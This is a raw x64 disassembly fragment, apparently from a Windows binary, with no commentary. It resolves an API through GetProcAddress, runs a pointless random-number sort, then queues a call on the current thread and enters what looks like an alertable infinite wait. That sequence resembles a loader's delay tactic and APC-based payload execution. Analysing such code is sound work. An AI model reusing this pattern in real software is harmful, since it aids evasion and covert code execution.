mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x590], rax
mov ecx, 0x514
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x588], rax
mov dword [rbp + 0x70c], 0
jmp 0x140002a08
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x70c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x588]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x70c], 1
cmp dword [rbp + 0x70c], 0x144
jle 0x140002981
mov dword [rbp + 0x70c], 0
jmp 0x140002b0c
cmp dword [rbp + 0x70c], 0
je 0x140002a71
mov eax, dword [rbp + 0x70c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x588]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x70c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x588]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140002a7d
add dword [rbp + 0x70c], 1
jmp 0x140002b0c
mov eax, dword [rbp + 0x70c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x588]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x584], xmm0
mov eax, dword [rbp + 0x70c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x588]
add rdx, rax
mov eax, dword [rbp + 0x70c]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x588]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x70c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x588]
add rax, rdx
movss xmm0, dword [rbp + 0x584]
movss dword [rax], xmm0
sub dword [rbp + 0x70c], 1
cmp dword [rbp + 0x70c], 0x144
jle 0x140002a27
mov rax, qword [rbp + 0x588]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5a0]
mov r9, qword [rbp + 0x598]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x590]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x770]
add rsp, 0x808
pop rbx
pop rsi
pop rdi
pop rbp
ret